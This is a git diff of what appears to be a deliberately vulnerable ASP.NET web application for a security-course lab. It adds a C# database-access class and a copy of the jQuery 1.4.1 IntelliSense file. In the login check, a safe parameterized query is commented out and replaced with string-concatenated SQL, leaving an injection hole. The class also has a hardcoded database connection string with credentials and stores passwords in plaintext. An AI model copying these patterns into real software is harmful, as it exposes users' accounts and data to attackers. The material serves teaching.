AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("myWebApplication")] +[assembly: AssemblyCopyright("Copyright © 2011")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +[assembly: Guid("572739fa-7b7b-4479-886c-fe83da5c46fb")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Revision and Build Numbers +// by using the '*' as shown below: +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/lab3/cs_lab3/myWebApplication/SQLaccess.cs b/lab3/cs_lab3/myWebApplication/SQLaccess.cs new file mode 100644 index 0000000..b542301 --- /dev/null +++ b/lab3/cs_lab3/myWebApplication/SQLaccess.cs @@ -0,0 +1,131 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Web; +using System.Data.SqlClient; + +namespace myWebApplication +{ + + public class SQLaccess + { + //private static String connectionString = "Data Source=.;Initial Catalog=myVulnappDB;Integrated Security=True"; + //private static String connectionString = "Data Source=.\\SQLEXPRESS;Initial Catalog=myVulnappDB;Integrated Security=True"; + private static String connectionString = "Data Source=theoden.ce.chalmers.se;Initial Catalog=myVulnappDB;Integrated Security=False;UID=myvulnapp;PWD=myvulnapp"; + + public static String checkUserPass(String username, String password) + { + SqlConnection conn = new SqlConnection(connectionString); + conn.Open(); + + //SqlCommand sqlc = new SqlCommand("SELECT Record FROM Table_Users WHERE Username=@username AND Password=@password"); + //sqlc.Parameters.AddWithValue("@username", username); + //sqlc.Parameters.AddWithValue("@password", password); + + SqlCommand sqlc = new SqlCommand("SELECT Record FROM Table_Users WHERE Username='" + username + "' AND Password='" + password + "'"); + sqlc.Connection = conn; + SqlDataReader sdr = sqlc.ExecuteReader(); + if (sdr.HasRows == false) + { + return null; //no user + } + else + { + sdr.Read(); + return sdr.GetValue(0).ToString(); + } + } + + public static String GetUserFromID(String ID) + { + SqlConnection conn = new SqlConnection(connectionString); + conn.Open(); + + + SqlCommand sqlc = new SqlCommand("SELECT Username,Password FROM Table_Users WHERE SessionID=@sessionid"); + sqlc.Parameters.AddWithValue("@sessionid", ID); + + sqlc.Connection = conn; + SqlDataReader sdr = sqlc.ExecuteReader(); + if (sdr.HasRows == false) + { + return null; //no user + } + else + { + //can only be one if mechanism works as intended, take the first one + sdr.Read(); + return sdr.GetValue(0).ToString(); + } + + } + + public static String GetRecordFromID(String ID) + { + SqlConnection conn = new SqlConnection(connectionString); + conn.Open(); + + + SqlCommand sqlc = new SqlCommand("SELECT Record FROM Table_Users WHERE SessionID=@sessionid"); + sqlc.Parameters.AddWithValue("@sessionid", ID); + + sqlc.Connection = conn; + SqlDataReader sdr = sqlc.ExecuteReader(); + if (sdr.HasRows == false) + { + return null; //no user + } + else + { + //can only be one if mechanism works as intended, take the first one + sdr.Read(); + return sdr.GetValue(0).ToString(); + } + + } + + public static Boolean InsertComment(String Name, String Comment) + { + SqlConnection conn = new SqlConnection(connectionString); + SqlCommand sqlc = new SqlCommand("INSERT INTO Table_Comments Values(@name,@comment);"); + sqlc.Parameters.AddWithValue("@name", Name); + sqlc.Parameters.AddWithValue("@comment", Comment); + + try + { + conn.Open(); + sqlc.Connection = conn; + sqlc.ExecuteNonQuery(); + return true; + } + catch(Exception ex) + { + System.Diagnostics.Debug.Write(ex.StackTrace); + return false; + } + + } + + public static Boolean InsertSessionID(String record, String SessionID) + { + SqlConnection conn = new SqlConnection(connectionString); + SqlCommand sqlc = new SqlCommand("UPDATE Table_Users SET SessionID=@sessionid WHERE Record=@record;"); + sqlc.Parameters.AddWithValue("@sessionid", SessionID); + sqlc.Parameters.AddWithValue("@record", record); + try + { + conn.Open(); + sqlc.Connection = conn; + sqlc.ExecuteNonQuery(); + return true; + } + catch (Exception ex) + { + System.Diagnostics.Debug.Write(ex.StackTrace); + return false; + } + + } + + } +} \ No newline at end of file diff --git a/lab3/cs_lab3/myWebApplication/Scripts/jquery-1.4.1-vsdoc.js b/lab3/cs_lab3/myWebApplication/Scripts/jquery-1.4.1-vsdoc.js new file mode 100644 index 0000000..a6d00ce --- /dev/null +++ b/lab3/cs_lab3/myWebApplication/Scripts/jquery-1.4.1-vsdoc.js @@ -0,0 +1,8061 @@ +/* + * This file has been commented to support Visual Studio Intellisense. + * You should not use this file at runtime inside the browser--it is only + * intended to be used only for design-time IntelliSense. Please use the + * standard jQuery library for all production use. + * + * Comment version: 1.4.1a + */ + +/*! + * jQuery JavaScript Library v1.4.1 + * http://jquery.com/ + * + * Distributed in whole under the terms of the MIT + * + * Copyright 2010, John Resig + * + * Permission is hereby granted, free of charge, to any person obtaining + * a copy of this software and associated documentation files (the + * "Software"), to deal in the Software without restriction, including + * without limitation the rights to use, copy, modify, merge, publish, + * distribute, sublicense, and/or sell copies of the Software, and to + * permit persons to whom the Software is furnished to do so, subject to + * the following conditions: + * + * The above copyright notice and this permission notice shall be + * included in all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, + * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND + * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE + * LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION + * OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION + * WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. + * + * Includes Sizzle.js + * http://sizzlejs.com/ + * Copyright 2010, The Dojo Foundation + * Released under the MIT, BSD, and GPL Licenses. + * + * Date: Mon Jan 25 19:43:33 2010 -0500 + */ + +(function( window, undefined ) { + +// Define a local copy of jQuery +var jQuery = function( selector, context ) { + /// + /// 1: $(expression, context) - This function accepts a string containing a CSS selector which is then used to match a set of elements. + /// 2: $(html) - Create DOM elements on-the-fly from the provided String of raw HTML. + /// 3: $(elements) - Wrap jQuery functionality around a single or multiple DOM Element(s). + /// 4: $(callback) - A shorthand for $(document).ready(). + /// 5: $() - As of jQuery 1.4, if you pass no arguments in to the jQuery() method, an empty jQuery set will be returned. + /// + /// + /// 1: expression - An expression to search with. + /// 2: html - A string of HTML to create on the fly. + /// 3: elements - DOM element(s) to be encapsulated by a jQuery object. + /// 4: callback - The function to execute when the DOM is ready. + /// + /// + /// 1: context - A DOM Element, Document or jQuery to use as context. + /// + /// + + // The jQuery object is actually just the init constructor 'enhanced' + return new jQuery.fn.init( selector, context ); + }, + + // Map over jQuery in case of overwrite + _jQuery = window.jQuery, + + // Map over the $ in case of overwrite + _$ = window.$, + + // Use the correct document accordingly with window argument (sandbox) + document = window.document, + + // A central reference to the root jQuery(document) + rootjQuery, + + // A simple way to check for HTML strings or ID strings + // (both of which we optimize for) + quickExpr = /^[^<]*(<[\w\W]+>)[^>]*$|^#([\w-]+)$/, + + // Is it a simple selector + isSimple = /^.[^:#\[\.,]*$/, + + // Check if a string has a non-whitespace character in it + rnotwhite = /\S/, + + // Used for trimming whitespace + rtrim = /^(\s|\u00A0)+|(\s|\u00A0)+$/g, + + // Match a standalone tag + rsingleTag = /^<(\w+)\s*\/?>(?:<\/\1>)?$/, + + // Keep a UserAgent string for use with jQuery.browser + userAgent = navigator.userAgent, + + // For matching the engine and version of the browser + browserMatch, + + // Has the ready events already been bound? + readyBound = false, + + // The functions to execute on DOM ready + readyList = [], + + // The ready event handler + DOMContentLoaded, + + // Save a reference to some core methods + toString = Object.prototype.toString, + hasOwnProperty = Object.prototype.hasOwnProperty, + push = Array.prototype.push, + slice = Array.prototype.slice, + indexOf = Array.prototype.indexOf; + +jQuery.fn = jQuery.prototype = { + init: function( selector, context ) { + + var match, elem, ret, doc; + + // Handle $(""), $(null), or $(undefined) + if ( !selector ) { + return this; + } + + // Handle $(DOMElement) + if ( selector.nodeType ) { + this.context = this[0] = selector; + this.length = 1; + return this; + } + + // Handle HTML strings + if ( typeof selector === "string" ) { + // Are we dealing with HTML string or an ID? + match = quickExpr.exec( selector ); + + // Verify a match, and that no context was specified for #id + if ( match && (match[1] || !context) ) { + + // HANDLE: $(html) -> $(array) + if ( match[1] ) { + doc = (context ? context.ownerDocument || context : document); + + // If a single string is passed in and it's a single tag + // just do a createElement and skip the rest + ret = rsingleTag.exec( selector ); + + if ( ret ) { + if ( jQuery.isPlainObject( context ) ) { + selector = [ document.createElement( ret[1] ) ]; + jQuery.fn.attr.call( selector, context, true ); + + } else { + selector = [ doc.createElement( ret[1] ) ]; + } + + } else { + ret = buildFragment( [ match[1] ], [ doc ] ); + selector = (ret.cacheable ? ret.fragment.cloneNode(true) : ret.fragment).childNodes; + } + + // HANDLE: $("#id") + } else { + elem = document.getElementById( match[2] ); + + if ( elem ) { + // Handle the case where IE and Opera return items + // by name instead of ID + if ( elem.id !== match[2] ) { + return rootjQuery.find( selector ); + } + + // Otherwise, we inject the element directly into the jQuery object + this.length = 1; + this[0] = elem; + } + + this.context = document; + this.selector = selector; + return this; + } + + // HANDLE: $("TAG") + } else if ( !context && /^\w+$/.test( selector ) ) { + this.selector = selector; + this.context = document; + selector = document.getElementsByTagName( selector ); + + // HANDLE: $(expr, $(...)) + } else if ( !context || context.jquery ) { + return (context || rootjQuery).find( selector ); + + // HANDLE: $(expr, context) + // (which is just equivalent to: $(context).find(expr) + } else { + return jQuery( context ).find( selector ); + } + + // HANDLE: $(function) + // Shortcut for document ready + } else if ( jQuery.isFunction( selector ) ) { + return rootjQuery.ready( selector ); + } + + if (selector.selector !== undefined) { + this.selector = selector.selector; + this.context = selector.context; + } + + return jQuery.isArray( selector ) ? + this.setArray( selector ) : + jQuery.makeArray( selector, this ); + }, + + // Start with an empty selector + selector: "", + + // The current version of jQuery being used + jquery: "1.4.1", + + // The default length of a jQuery object is 0 + length: 0, + + // The number of elements contained in the matched element set + size: function() { + /// + /// The number of elements currently matched. + /// Part of Core + /// + /// + + return this.length; + }, + + toArray: function() { + /// + /// Retrieve all the DOM elements contained in the jQuery set, as an array. + /// + /// + return slice.call( this, 0 ); + }, + + // Get the Nth element in the matched element set OR + // Get the whole matched element set as a clean array + get: function( num ) { + /// + /// Access a single matched element. num is used to access the + /// Nth element matched. + /// Part of Core + /// + /// + /// + /// Access the element in the Nth position. + /// + + return num == null ? + + // Return a 'clean' array + this.toArray() : + + // Return just the object + ( num < 0 ? this.slice(num)[ 0 ] : this[ num ] ); + }, + + // Take an array of elements and push it onto the stack + // (returning the new matched element set) + pushStack: function( elems, name, selector ) { + /// + /// Set the jQuery object to an array of elements, while maintaining + /// the stack. + /// Part of Core + /// + /// + /// + /// An array of elements + /// + + // Build a new jQuery matched element set + var ret = jQuery( elems || null ); + + // Add the old object onto the stack (as a reference) + ret.prevObject = this; + + ret.context = this.context; + + if ( name === "find" ) { + ret.selector = this.selector + (this.selector ? " " : "") + selector; + } else if ( name ) { + ret.selector = this.selector + "." + name + "(" + selector + ")"; + } + + // Return the newly-formed element set + return ret; + }, + + // Force the current matched set of elements to become + // the specified array of elements (destroying the stack in the process) + // You should use pushStack() in order to do this, but maintain the stack + setArray: function( elems ) { + /// + /// Set the jQuery object to an array of elements. This operation is + /// completely destructive - be sure to use .pushStack() if you wish to maintain + /// the jQuery stack. + /// Part of Core + /// + /// + /// + /// An array of elements + /// + + // Resetting the length to 0, then using the native Array push + // is a super-fast way to populate an object with array-like properties + this.length = 0; + push.apply( this, elems ); + + return this; + }, + + // Execute a callback for every element in the matched set. + // (You can seed the arguments with an array of args, but this is + // only used internally.) + each: function( callback, args ) { + /// + /// Execute a function within the context of every matched element. + /// This means that every time the passed-in function is executed + /// (which is once for every element matched) the 'this' keyword + /// points to the specific element. + /// Additionally, the function, when executed, is passed a single + /// argument representing the position of the element in the matched + /// set. + /// Part of Core + /// + /// + /// + /// A function to execute + /// + + return jQuery.each( this, callback, args ); + }, + + ready: function( fn ) { + /// + /// Binds a function to be executed whenever the DOM is ready to be traversed and manipulated. + /// + /// The function to be executed when the DOM is ready. + + // Attach the listeners + jQuery.bindReady(); + + // If the DOM is already ready + if ( jQuery.isReady ) { + // Execute the function immediately + fn.call( document, jQuery ); + + // Otherwise, remember the function for later + } else if ( readyList ) { + // Add the function to the wait list + readyList.push( fn ); + } + + return this; + }, + + eq: function( i ) { + /// + /// Reduce the set of matched elements to a single element. + /// The position of the element in the set of matched elements + /// starts at 0 and goes to length - 1. + /// Part of Core + /// + /// + /// + /// pos The index of the element that you wish to limit to. + /// + + return i === -1 ? + this.slice( i ) : + this.slice( i, +i + 1 ); + }, + + first: function() { + /// + /// Reduce the set of matched elements to the first in the set. + /// + /// + + return this.eq( 0 ); + }, + + last: function() { + /// + /// Reduce the set of matched elements to the final one in the set. + /// + /// + + return this.eq( -1 ); + }, + + slice: function() { + /// + /// Selects a subset of the matched elements. Behaves exactly like the built-in Array slice method. + /// + /// Where to start the subset (0-based). + /// Where to end the subset (not including the end element itself). + /// If omitted, ends at the end of the selection + /// The sliced elements + + return this.pushStack( slice.apply( this, arguments ), + "slice", slice.call(arguments).join(",") ); + }, + + map: function( callback ) { + /// + /// This member is internal. + /// + /// + /// + + return this.pushStack( jQuery.map(this, function( elem, i ) { + return callback.call( elem, i, elem ); + })); + }, + + end: function() { + /// + /// End the most recent 'destructive' operation, reverting the list of matched elements + /// back to its previous state. After an end operation, the list of matched elements will + /// revert to the last state of matched elements. + /// If there was no destructive operation before, an empty set is returned. + /// Part of DOM/Traversing + /// + /// + + return this.prevObject || jQuery(null); + }, + + // For internal use only. + // Behaves like an Array's method, not like a jQuery method. + push: push, + sort: [].sort, + splice: [].splice +}; + +// Give the init function the jQuery prototype for later instantiation +jQuery.fn.init.prototype = jQuery.fn; + +jQuery.extend = jQuery.fn.extend = function() { + /// + /// Extend one object with one or more others, returning the original, + /// modified, object. This is a great utility for simple inheritance. + /// jQuery.extend(settings, options); + /// var settings = jQuery.extend({}, defaults, options); + /// Part of JavaScript + /// + /// + /// The object to extend + /// + /// + /// The object that will be merged into the first. + /// + /// + /// (optional) More objects to merge into the first + /// + /// + + // copy reference to target object + var target = arguments[0] || {}, i = 1, length = arguments.length, deep = false, options, name, src, copy; + + // Handle a deep copy situation + if ( typeof target === "boolean" ) { + deep = target; + target = arguments[1] || {}; + // skip the boolean and the target + i = 2; + } + + // Handle case when target is a string or something (possible in deep copy) + if ( typeof target !== "object" && !jQuery.isFunction(target) ) { + target = {}; + } + + // extend jQuery itself if only one argument is passed + if ( length === i ) { + target = this; + --i; + } + + for ( ; i < length; i++ ) { + // Only deal with non-null/undefined values + if ( (options = arguments[ i ]) != null ) { + // Extend the base object + for ( name in options ) { + src = target[ name ]; + copy = options[ name ]; + + // Prevent never-ending loop + if ( target === copy ) { + continue; + } + + // Recurse if we're merging object literal values or arrays + if ( deep && copy && ( jQuery.isPlainObject(copy) || jQuery.isArray(copy) ) ) { + var clone = src && ( jQuery.isPlainObject(src) || jQuery.isArray(src) ) ? src + : jQuery.isArray(copy) ? [] : {}; + + // Never move original objects, clone them + target[ name ] = jQuery.extend( deep, clone, copy ); + + // Don't bring in undefined values + } else if ( copy !== undefined ) { + target[ name ] = copy; + } + } + } + } + + // Return the modified object + return target; +}; + +jQuery.extend({ + noConflict: function( deep ) { + /// + /// Run this function to give control of the $ variable back + /// to whichever library first implemented it. This helps to make + /// sure that jQuery doesn't conflict with the $ object + /// of other libraries. + /// By using this function, you will only be able to access jQuery + /// using the 'jQuery' variable. For example, where you used to do + /// $("div p"), you now must do jQuery("div p"). + /// Part of Core + /// + /// + + window.$ = _$; + + if ( deep ) { + window.jQuery = _jQuery; + } + + return jQuery; + }, + + // Is the DOM ready to be used? Set to true once it occurs. + isReady: false, + + // Handle when the DOM is ready + ready: function() { + /// + /// This method is internal. + /// + /// + + // Make sure that the DOM is not already loaded + if ( !jQuery.isReady ) { + // Make sure body exists, at least, in case IE gets a little overzealous (ticket #5443). + if ( !document.body ) { + return setTimeout( jQuery.ready, 13 ); + } + + // Remember that the DOM is ready + jQuery.isReady = true; + + // If there are functions bound, to execute + if ( readyList ) { + // Execute all of them + var fn, i = 0; + while ( (fn = readyList[ i++ ]) ) { + fn.call( document, jQuery ); + } + + // Reset the list of functions + readyList = null; + } + + // Trigger any bound ready events + if ( jQuery.fn.triggerHandler ) { + jQuery( document ).triggerHandler( "ready" ); + } + } + }, + + bindReady: function() { + if ( readyBound ) { + return; + } + + readyBound = true; + + // Catch cases where $(document).ready() is called after the + // browser event has already occurred. + if ( document.readyState === "complete" ) { + return jQuery.ready(); + } + + // Mozilla, Opera and webkit nightlies currently support this event + if ( document.addEventListener ) { + // Use the handy event callback + document.addEventListener( "DOMContentLoaded", DOMContentLoaded, false ); + + // A fallback to window.onload, that will always work + window.addEventListener( "load", jQuery.ready, false ); + + // If IE event model is used + } else if ( document.attachEvent ) { + // ensure firing before onload, + // maybe late but safe also for iframes + document.attachEvent("onreadystatechange", DOMContentLoaded); + + // A fallback to window.onload, that will always work + window.attachEvent( "onload", jQuery.ready ); + + // If IE and not a frame + // continually check to see if the document is ready + var toplevel = false; + + try { + toplevel = window.frameElement == null; + } catch(e) {} + + if ( document.documentElement.doScroll && toplevel ) { + doScrollCheck(); + } + } + }, + + // See test/unit/core.js for details concerning isFunction. + // Since version 1.3, DOM methods and functions like alert + // aren't supported. They return false on IE (#2968). + isFunction: function( obj ) { + /// + /// Determines if the parameter passed is a function. + /// + /// The object to check + /// True if the parameter is a function; otherwise false. + + return toString.call(obj) === "[object Function]"; + }, + + isArray: function( obj ) { + /// + /// Determine if the parameter passed is an array. + /// + /// Object to test whether or not it is an array. + /// True if the parameter is a function; otherwise false. + + return toString.call(obj) === "[object Array]"; + }, + + isPlainObject: function( obj ) { + /// + /// Check to see if an object is a plain object (created using "{}" or "new Object"). + /// + /// + /// The object that will be checked to see if it's a plain object. + /// + /// + + // Must be an Object. + // Because of IE, we also have to check the presence of the constructor property. + // Make sure that DOM nodes and window objects don't pass through, as well + if ( !obj || toString.call(obj) !== "[object Object]" || obj.nodeType || obj.setInterval ) { + return false; + } + + // Not own constructor property must be Object + if ( obj.constructor + && !hasOwnProperty.call(obj, "constructor") + && !hasOwnProperty.call(obj.constructor.prototype, "isPrototypeOf") ) { + return false; + } + + // Own properties are enumerated firstly, so to speed up, + // if last one is own, then all properties are own. + + var key; + for ( key in obj ) {} + + return key === undefined || hasOwnProperty.call( obj, key ); + }, + + isEmptyObject: function( obj ) { + /// + /// Check to see if an object is empty (contains no properties). + /// + /// + /// The object that will be checked to see if it's empty. + /// + /// + + for ( var name in obj ) { + return false; + } + return true; + }, + + error: function( msg ) { + throw msg; + }, + + parseJSON: function( data ) { + if ( typeof data !== "string" || !data ) { + return null; + } + + // Make sure the incoming data is actual JSON + // Logic borrowed from http://json.org/json2.js + if ( /^[\],:{}\s]*$/.test(data.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g, "@") + .replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g, "]") + .replace(/(?:^|:|,)(?:\s*\[)+/g, "")) ) { + + // Try to use the native JSON parser first + return window.JSON && window.JSON.parse ? + window.JSON.parse( data ) : + (new Function("return " + data))(); + + } else { + jQuery.error( "Invalid JSON: " + data ); + } + }, + + noop: function() { + /// + /// An empty function. + /// + /// + }, + + // Evalulates a script in a global context + globalEval: function( data ) { + /// + /// Internally evaluates a script in a global context. + /// + /// + + if ( data && rnotwhite.test(data) ) { + // Inspired by code by Andrea Giammarchi + // http://webreflection.blogspot.com/2007/08/global-scope-evaluation-and-dom.html + var head = document.getElementsByTagName("head")[0] || document.documentElement, + script = document.createElement("script"); + + script.type = "text/javascript"; + + if ( jQuery.support.scriptEval ) { + script.appendChild( document.createTextNode( data ) ); + } else { + script.text = data; + } + + // Use insertBefore instead of appendChild to circumvent an IE6 bug. + // This arises when a base node is used (#2709). + head.insertBefore( script, head.firstChild ); + head.removeChild( script ); + } + }, + + nodeName: function( elem, name ) { + /// + /// Checks whether the specified element has the specified DOM node name. + /// + /// The element to examine + /// The node name to check + /// True if the specified node name matches the node's DOM node name; otherwise false + + return elem.nodeName && elem.nodeName.toUpperCase() === name.toUpperCase(); + }, + + // args is for internal usage only + each: function( object, callback, args ) { + /// + /// A generic iterator function, which can be used to seemlessly + /// iterate over both objects and arrays. This function is not the same + /// as $().each() - which is used to iterate, exclusively, over a jQuery + /// object. This function can be used to iterate over anything. + /// The callback has two arguments:the key (objects) or index (arrays) as first + /// the first, and the value as the second. + /// Part of JavaScript + /// + /// + /// The object, or array, to iterate over. + /// + /// + /// The function that will be executed on every object. + /// + /// + + var name, i = 0, + length = object.length, + isObj = length === undefined || jQuery.isFunction(object); + + if ( args ) { + if ( isObj ) { + for ( name in object ) { + if ( callback.apply( object[ name ], args ) === false ) { + break; + } + } + } else { + for ( ; i < length; ) { + if ( callback.apply( object[ i++ ], args ) === false ) { + break; + } + } + } + + // A special, fast, case for the most common use of each + } else { + if ( isObj ) { + for ( name in object ) { + if ( callback.call( object[ name ], name, object[ name ] ) === false ) { + break; + } + } + } else { + for ( var value = object[0]; + i < length && callback.call( value, i, value ) !== false; value = object[++i] ) {} + } + } + + return object; + }, + + trim: function( text ) { + /// + /// Remove the whitespace from the beginning and end of a string. + /// Part of JavaScript + /// + /// + /// + /// The string to trim. + /// + + return (text || "").replace( rtrim, "" ); + }, + + // results is for internal usage only + makeArray: function( array, results ) { + /// + /// Turns anything into a true array. This is an internal method. + /// + /// Anything to turn into an actual Array + /// + /// + + var ret = results || []; + + if ( array != null ) { + // The window, strings (and functions) also have 'length' + // The extra typeof function check is to prevent crashes + // in Safari 2 (See: #3039) + if ( array.length == null || typeof array === "string" || jQuery.isFunction(array) || (typeof array !== "function" && array.setInterval) ) { + push.call( ret, array ); + } else { + jQuery.merge( ret, array ); + } + } + + return ret; + }, + + inArray: function( elem, array ) { + if ( array.indexOf ) { + return array.indexOf( elem ); + } + + for ( var i = 0, length = array.length; i < length; i++ ) { + if ( array[ i ] === elem ) { + return i; + } + } + + return -1; + }, + + merge: function( first, second ) { + /// + /// Merge two arrays together, removing all duplicates. + /// The new array is: All the results from the first array, followed + /// by the unique results from the second array. + /// Part of JavaScript + /// + /// + /// + /// The first array to merge. + /// + /// + /// The second array to merge. + /// + + var i = first.length, j = 0; + + if ( typeof second.length === "number" ) { + for ( var l = second.length; j < l; j++ ) { + first[ i++ ] = second[ j ]; + } + } else { + while ( second[j] !== undefined ) { + first[ i++ ] = second[ j++ ]; + } + } + + first.length = i; + + return first; + }, + + grep: function( elems, callback, inv ) { + /// + /// Filter items out of an array, by using a filter function. + /// The specified function will be passed two arguments: The + /// current array item and the index of the item in the array. The + /// function must return 'true' to keep the item in the array, + /// false to remove it. + /// }); + /// Part of JavaScript + /// + /// + /// + /// array The Array to find items in. + /// + /// + /// The function to process each item against. + /// + /// + /// Invert the selection - select the opposite of the function. + /// + + var ret = []; + + // Go through the array, only saving the items + // that pass the validator function + for ( var i = 0, length = elems.length; i < length; i++ ) { + if ( !inv !== !callback( elems[ i ], i ) ) { + ret.push( elems[ i ] ); + } + } + + return ret; + }, + + // arg is for internal usage only + map: function( elems, callback, arg ) { + /// + /// Translate all items in an array to another array of items. + /// The translation function that is provided to this method is + /// called for each item in the array and is passed one argument: + /// The item to be translated. + /// The function can then return the translated value, 'null' + /// (to remove the item), or an array of values - which will + /// be flattened into the full array. + /// Part of JavaScript + /// + /// + /// + /// array The Array to translate. + /// + /// + /// The function to process each item against. + /// + + var ret = [], value; + + // Go through the array, translating each of the items to their + // new value (or values). + for ( var i = 0, length = elems.length; i < length; i++ ) { + value = callback( elems[ i ], i, arg ); + + if ( value != null ) { + ret[ ret.length ] = value; + } + } + + return ret.concat.apply( [], ret ); + }, + + // A global GUID counter for objects + guid: 1, + + proxy: function( fn, proxy, thisObject ) { + /// + /// Takes a function and returns a new one that will always have a particular scope. + /// + /// + /// The function whose scope will be changed. + /// + /// + /// The object to which the scope of the function should be set. + /// + /// + + if ( arguments.length === 2 ) { + if ( typeof proxy === "string" ) { + thisObject = fn; + fn = thisObject[ proxy ]; + proxy = undefined; + + } else if ( proxy && !jQuery.isFunction( proxy ) ) { + thisObject = proxy; + proxy = undefined; + } + } + + if ( !proxy && fn ) { + proxy = function() { + return fn.apply( thisObject || this, arguments ); + }; + } + + // Set the guid of unique handler to the same of original handler, so it can be removed + if ( fn ) { + proxy.guid = fn.guid = fn.guid || proxy.guid || jQuery.guid++; + } + + // So proxy can be declared as an argument + return proxy; + }, + + // Use of jQuery.browser is frowned upon. + // More details: http://docs.jquery.com/Utilities/jQuery.browser + uaMatch: function( ua ) { + ua = ua.toLowerCase(); + + var match = /(webkit)[ \/]([\w.]+)/.exec( ua ) || + /(opera)(?:.*version)?[ \/]([\w.]+)/.exec( ua ) || + /(msie) ([\w.]+)/.exec( ua ) || + !/compatible/.test( ua ) && /(mozilla)(?:.*? rv:([\w.]+))?/.exec( ua ) || + []; + + return { browser: match[1] || "", version: match[2] || "0" }; + }, + + browser: {} +}); + +browserMatch = jQuery.uaMatch( userAgent ); +if ( browserMatch.browser ) { + jQuery.browser[ browserMatch.browser ] = true; + jQuery.browser.version = browserMatch.version; +} + +// Deprecated, use jQuery.browser.webkit instead +if ( jQuery.browser.webkit ) { + jQuery.browser.safari = true; +} + +if ( indexOf ) { + jQuery.inArray = function( elem, array ) { + /// + /// Determines the index of the first parameter in the array. + /// + /// The value to see if it exists in the array. + /// The array to look through for the value + /// The 0-based index of the item if it was found, otherwise -1. + + return indexOf.call( array, elem ); + }; +} + +// All jQuery objects should point back to these +rootjQuery = jQuery(document); + +// Cleanup functions for the document ready method +if ( document.addEventListener ) { + DOMContentLoaded = function() { + document.removeEventListener( "DOMContentLoaded", DOMContentLoaded, false ); + jQuery.ready(); + }; + +} else if ( document.attachEvent ) { + DOMContentLoaded = function() { + // Make sure body exists, at least, in case IE gets a little overzealous (ticket #5443). + if ( document.readyState === "complete" ) { + document.detachEvent( "onreadystatechange", DOMContentLoaded ); + jQuery.ready(); + } + }; +} + +// The DOM ready check for Internet Explorer +function doScrollCheck() { + if ( jQuery.isReady ) { + return; + } + + try { + // If IE is used, use the trick by Diego Perini + // http://javascript.nwbox.com/IEContentLoaded/ + document.documentElement.doScroll("left"); + } catch( error ) { + setTimeout( doScrollCheck, 1 ); + return; + } + + // and execute any waiting functions + jQuery.ready(); +} + +function evalScript( i, elem ) { + /// + /// This method is internal. + /// + /// + + if ( elem.src ) { + jQuery.ajax({ + url: elem.src, + async: false, + dataType: "script" + }); + } else { + jQuery.globalEval( elem.text || elem.textContent || elem.innerHTML || "" ); + } + + if ( elem.parentNode ) { + elem.parentNode.removeChild( elem ); + } +} + +// Mutifunctional method to get and set values to a collection +// The value/s can be optionally by executed if its a function +function access( elems, key, value, exec, fn, pass ) { + var length = elems.length; + + // Setting many attributes + if ( typeof key === "object" ) { + for ( var k in key ) { + access( elems, k, key[k], exec, fn, value ); + } + return elems; + } + + // Setting one attribute + if ( value !== undefined ) { + // Optionally, function values get executed if exec is true + exec = !pass && exec && jQuery.isFunction(value); + + for ( var i = 0; i < length; i++ ) { + fn( elems[i], key, exec ? value.call( elems[i], i, fn( elems[i], key ) ) : value, pass ); + } + + return elems; + } + + // Getting an attribute + return length ? fn( elems[0], key ) : null; +} + +function now() { + /// + /// Gets the current date. + /// + /// The current date. + + return (new Date).getTime(); +} + +// [vsdoc] The following function has been modified for IntelliSense. +// [vsdoc] Stubbing support properties to "false" for IntelliSense compat. +(function() { + + jQuery.support = {}; + + // var root = document.documentElement, + // script = document.createElement("script"), + // div = document.createElement("div"), + // id = "script" + now(); + + // div.style.display = "none"; + // div.innerHTML = "
    a"; + + // var all = div.getElementsByTagName("*"), + // a = div.getElementsByTagName("a")[0]; + + // // Can't get basic test support + // if ( !all || !all.length || !a ) { + // return; + // } + + jQuery.support = { + // IE strips leading whitespace when .innerHTML is used + leadingWhitespace: false, + + // Make sure that tbody elements aren't automatically inserted + // IE will insert them into empty tables + tbody: false, + + // Make sure that link elements get serialized correctly by innerHTML + // This requires a wrapper element in IE + htmlSerialize: false, + + // Get the style information from getAttribute + // (IE uses .cssText insted) + style: false, + + // Make sure that URLs aren't manipulated + // (IE normalizes it by default) + hrefNormalized: false, + + // Make sure that element opacity exists + // (IE uses filter instead) + // Use a regex to work around a WebKit issue. See #5145 + opacity: false, + + // Verify style float existence + // (IE uses styleFloat instead of cssFloat) + cssFloat: false, + + // Make sure that if no value is specified for a checkbox + // that it defaults to "on". + // (WebKit defaults to "" instead) + checkOn: false, + + // Make sure that a selected-by-default option has a working selected property. + // (WebKit defaults to false instead of true, IE too, if it's in an optgroup) + optSelected: false, + + // Will be defined later + checkClone: false, + scriptEval: false, + noCloneEvent: false, + boxModel: false + }; + + // script.type = "text/javascript"; + // try { + // script.appendChild( document.createTextNode( "window." + id + "=1;" ) ); + // } catch(e) {} + + // root.insertBefore( script, root.firstChild ); + + // // Make sure that the execution of code works by injecting a script + // // tag with appendChild/createTextNode + // // (IE doesn't support this, fails, and uses .text instead) + // if ( window[ id ] ) { + // jQuery.support.scriptEval = true; + // delete window[ id ]; + // } + + // root.removeChild( script ); + + // if ( div.attachEvent && div.fireEvent ) { + // div.attachEvent("onclick", function click() { + // // Cloning a node shouldn't copy 